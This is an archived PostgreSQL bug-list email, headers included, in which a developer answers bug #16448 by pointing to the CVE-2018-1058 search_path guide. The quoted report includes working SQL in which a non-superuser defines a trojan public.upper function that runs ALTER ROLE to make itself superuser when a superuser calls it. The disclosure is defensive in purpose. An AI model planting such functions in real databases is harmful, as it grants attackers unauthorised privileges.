Received: from malur.postgresql.org ([217.196.149.56]) by arkaria.postgresql.org with esmtps (TLS1.3:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from ) id 1jacPJ-0001jO-5X for pgsql-bugs@arkaria.postgresql.org; Mon, 18 May 2020 09:50:01 +0000 Received: from localhost ([127.0.0.1] helo=malur.postgresql.org) by malur.postgresql.org with esmtp (Exim 4.92) (envelope-from ) id 1jacPH-0004pq-WD for pgsql-bugs@arkaria.postgresql.org; Mon, 18 May 2020 09:50:00 +0000 Received: from magus.postgresql.org ([2a02:c0:301:0:ffff::29]) by malur.postgresql.org with esmtps (TLS1.3:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from ) id 1jacPH-0004pi-QI for pgsql-bugs@lists.postgresql.org; Mon, 18 May 2020 09:49:59 +0000 Received: from mail-lf1-f65.google.com ([209.85.167.65]) by magus.postgresql.org with esmtps (TLS1.3:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.92) (envelope-from ) id 1jacPE-0003AY-Hv for pgsql-bugs@lists.postgresql.org; Mon, 18 May 2020 09:49:59 +0000 Received: by mail-lf1-f65.google.com with SMTP id e125so6691042lfd.1 for ; Mon, 18 May 2020 02:49:56 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:subject:to:references:from:message-id:date :user-agent:mime-version:in-reply-to:content-language :content-transfer-encoding; bh=ICDNt/Ysyc/lWgRQ9qvgn9sML8PAT+SLuhkNgU/Uhnk=; b=Kt1eSG1NtisRYKZLm73ZhJkU9AUNbqeXM6+IGGXTweqd1BwYfqf5e7KqnBVF89B0hz mlaspK0lYBuLC83DKTKqfUkjjs4kkAY1m7Hy8m//Fp+lqJWa/1dkvVtQpBmyMfAlfjjC 57WJ2eOSUDc6g44V6rvRILKoJwrqK6sFgeckQg5zOZCDT/YI9EeBosasjhKGJeF3LxFA 1aSzJ4nP3NERGbobbu0Ec2dVbFfZAAyh6GqKHKX7BpKwF43JbIf4AKR+E2v7FHjnp9Y0 xhBvtsHZ6c5imF1UrdNT06THahseksG+cbmUQyo07cw2QPH7XOQYSyDLZIoLBX0kV6so /CDg== X-Gm-Message-State: AOAM533yv5ZOsCg/g5ExNe99Hqe+DFP94Kg5Y+XMVXahXwYMi+CNBxiK BlHy+LnTj7QKdVbnll0dY9I= X-Google-Smtp-Source: ABdhPJz3Kl/0IwH0iFpFRsROriGd8mVof4VbDrj0Lvu72dwcjckK57vhlsMWrkuyznOWdIK4votYog== X-Received: by 2002:a19:c50c:: with SMTP id w12mr11131452lfe.23.1589795395836; Mon, 18 May 2020 02:49:55 -0700 (PDT) Received: from [192.168.1.110] (dsl-hkibng22-54faa4-119.dhcp.inet.fi. [84.250.164.119]) by smtp.gmail.com with ESMTPSA id z8sm6668018lfb.44.2020.05.18.02.49.54 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128); Mon, 18 May 2020 02:49:55 -0700 (PDT) Subject: Re: BUG #16448: Remote code execution vulnerability To: abcxiaod@126.com, pgsql-bugs@lists.postgresql.org, PG Bug reporting form References: <16448-b1ae7a058a160c8e@postgresql.org> From: Heikki Linnakangas Message-ID: <8adfb8f8-91f0-1dd5-15c0-12cdba61b191@iki.fi> Date: Mon, 18 May 2020 12:49:51 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Thunderbird/68.8.0 MIME-Version: 1.0 In-Reply-To: <16448-b1ae7a058a160c8e@postgresql.org> Content-Type: text/plain; charset=utf-8; format=flowed Content-Language: en-US Content-Transfer-Encoding: 8bit List-Id: List-Help: List-Subscribe: List-Post: List-Owner: List-Archive: Precedence: bulk On 18/05/2020 12:14, PG Bug reporting form wrote: > The following bug has been logged on the website: > > Bug reference: 16448 > Logged by: yi Ding > Email address: abcxiaod@126.com > PostgreSQL version: 10.12 > Operating system: linux > Description: > > A common user created a function in the public space and added some > malicious codes in the function, when other users with superuser rights call > this function, the malicious code will be executed , so as to achieve the > purpose of remote malicious code execution. > > First, Non-superuser lh defines a function named upper, which contains > the statement to modify user permissions. > SQL: > CREATE TABLE public.testlh AS SELECT ‘lh’::varchar AS contents; > CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ > ALTER ROLE lh SUPERUSER; > SELECT pg_catalog.upper($1); > $$ LANGUAGE SQL VOLATILE; > > Second, Superuser pg01 will execute the above statement after calling the > upper function, whice will change user lh to a super user. See https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058%3A_Protect_Your_Search_Path - Heikki